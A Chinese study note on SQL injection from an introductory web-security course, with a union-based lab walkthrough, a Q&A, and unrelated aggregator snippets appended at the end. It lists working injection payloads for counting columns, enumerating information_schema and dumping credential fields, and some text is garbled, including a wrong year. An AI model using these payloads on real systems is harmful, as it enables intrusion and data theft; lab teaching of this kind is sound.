web安全入門(第四章 1)SQL注入的原理分析

2021-10-06 06:46:01 字數 4005 閱讀 6274

1、sql注入本質

注入攻擊的本質,是把使用者輸入的資料當作**執行

這有兩個條件:

第乙個是使用者能夠控制輸入

第二個是原本程式要執行的**,拼接裡使用者輸入的資料然後執行

sql注入就是針對sql語句的注入,也可以理解為使用者輸入的資料當作sql語句的**執行了

sql注入是2023年一名叫做rfp的黑客發表的一篇文章讓後才進入了大眾視線。

2、顯錯注入靶場的做法

判斷注入點

最古老的方法:輸入and1=1頁面正常

輸入and1=2頁面不正常

最簡單的方法:頁面後面加',看是否報錯

老師的方法: 如果是數字型傳參,可以嘗試-1

例如: 頁面顯示id=1的新聞

頁面顯示id=1的新聞

and 1=1 and 1=2 被攔截的可能性太高了

可以嘗試 and -1=-1 and -1=-2 and 1>0 or 1=1

或者直接or sleep(5)

3、分析公開課貓舍注入

顯錯注入核心-聯合查詢

聯合查詢[將兩個查詢語句結果一起輸出]條件:兩個查詢語句的結果集字段數必須相同

select*from news where id=1

union

select password,username from admin limit

union select 1,2 database()

and 1=2 union select1,2

information_schema.tables 存放表名和庫名的對應

information_schema.columns 存放欄位名和表名的對應

注: information_schema.tables 實際上是選中information_schema庫中的tables表

4、顯錯注入靶場的做法

mysql注入:

判斷當前頁面字段總數

and 1=1 order by 1,2,3,4,5……

判斷顯示位

and 1=2 union select 1,2,3,4,5,6,7……

查當前資料庫

and 1=2 union select 1,2,database()

查表名and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=資料庫名 limit 0,1

查列名and 1=2 union select 1,2,columns_name from information_schema.columns where table_name=表名 limit 0,1

查字段內容

and 1=2 union select 1,使用者名稱段,密碼段 from 表名 limit 0,1

補充:

sql注入基礎-本課易錯回答分析

1.sql注入本質是什麼

把使用者輸入當做**執行

2.sql注入的條件

使用者可控輸入和原本程式要執行**,拼接使用者輸入且當作sql語句去執行

3.order by的作用及含義

order by 用於判斷顯示位,order by 原有的作用是對字段進行乙個排序,在sql注入中用order by 來判斷排序,order by 1就是對乙個字段進行排序,如果一共四個字段,你order by 5 資料庫不知道怎麼排序,於是乎就錯誤了無返回值

4.union select如何發揮作用

union為聯合查詢,a聯合b進行了查詢,為查詢了前面的sql語句(原有的)後再進行後面的sq查詢(我們新增的),但兩張表聯合查詢的字段數必須相同。

5.輸出位是什麼

sql查詢出來的資料不一定全部會輸出,頁面上只會輸出幾個欄位的資訊,那幾個會輸出的字段就是輸出位

6.information_schema是什麼

information_schema是mysql的系統自帶表,用於查詢資料,在mysql5.0以上版本中存在

7.加單引號和加 and 1=2有什麼區別

有區別,單引號是為了閉合語句,而and 1=2是為了讓union前面的語句無查詢結果無輸出,然後直接輸出拼接進去union後面的那個語句的查詢結果

8.and 是什麼意思

and 為和的意思,乙個語句中,當前乙個正確,後乙個錯誤時,如果是and連線整個語句返回是false

9.or是什麼意思

or 為和的意思,乙個語句中,當前乙個正確,後乙個錯誤時,如果是or連線整個語句返回是true

10.and 和 or 選擇使用有什麼講究?

and 語句執行時,如果and 前的語句返回false,那麼and後面的語句根本不執行

11.除了單引號外還有其他的符號可以閉合嗎?

實際上還是要看原始碼,常見的是單引號和雙引號還有括號

12.limit的作用

limit 在注入中用於排序然後輸出,limit a,b a代表了從哪個位置(從0開始) b代表從那位開始顯示幾條資料

13.可以查訊多個字段內容嗎

可以,可以使用語句group_concat()函式進行輸出

14.%23有什麼作用

%23編碼為#,用於注釋後面的語句,防止sql注入點後原本的sql語句對sql注入進行干擾

15.報錯注入的原理

利用sql注入拼接sql語句,將報錯資訊輸出時同時將我們想要的資訊輸出

16.閉合是什麼

在sql查詢中,**比較嚴謹,括號和引號都得成雙成對,引號內的預設是字串不會當作sql語句執行,所以必須閉合然後才能注入,當然有些sql語句直接拼接,也就不用什麼閉合了

17.sql注入有資料庫限制嗎?

沒有,常見的資料庫都可以

18.sql注入有動態指令碼語言限制嗎?

沒有限制

19.sql注入如果沒系統自帶表怎麼辦

那就慘了,只能通過猜,不斷的嘗試,一般而言資料庫的表也不會亂起名字,畢竟是團隊協作的東西

20.系統自帶庫管理員不會修改嗎?

一般而言並不會

21.union all 和 union 區別

如果輸出的資料有相同的,union只會輸出一次,而union all都會輸出

22.為什麼用and 1=1正常 and 1=2報錯來判斷是否存在sql注入

因為如果存在sql注入,那麼and就是和的意思,1=1是乙個恒等式,然後因為原本能夠查出資料,那麼兩個真就是true,但是1=2肯定是不可能的,這裡就會返回乙個false,然後因為和必須兩個真才返回true,所以這裡拼接就不成立返回false.

自己寫的過程:

檢視是否存在sql注入

使用古老方法 and 1=1頁面正常

and 1=2頁面顯示錯誤,說明存在sql注入

檢視有幾個字段:

order by 1

order by 2

order by 3

order by 4 顯示錯誤,說明有三個字段

找輸出點:

union select 1,2,3

結果出現 2,3 說明2,3都可以輸出

查詢系統自帶庫:

union select 1,2,table_name from information_schema.tables where table_schema=database()

出現第乙個表,在後面加 limit 1,1 獲取第二個表

查詢字段:

union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='error_flag'

最後得到欄位名

找到欄位名獲取資料:

union select 1,2,flag from error_flag-- '

如果資料flag錯誤 可以試試limit 0,1/1,1

web安全入門(第四章 4)盲注注入

一 盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成的注入攻擊。伺服器沒有錯誤回顯,對於攻擊者來說缺少了非常重要的 除錯資訊 布林盲注 布林很明顯trup跟fales,也就是說他只會根據你的諸如資訊 返回trup跟fales,也就沒有了之前的報錯資訊。時間盲注 介面返回值只有一種,trup無論輸...

第四章 Web表單

request.form能獲取post請求中提交的表單資料。flask wtf可以把處理web表單的過程變成一種愉悅的體驗。使用flask wtf時,每個web表單都由乙個繼承自form的類表示。每個類定義表單中的一組字段,每個欄位都用物件表示。表單字段是可呼叫的,在模板中呼叫後會渲染成html 可...

第四章棧(1)

function stack function push element function pop function peek function length function clear function isempty else 測試stack類的實現 let s new stack s.pus...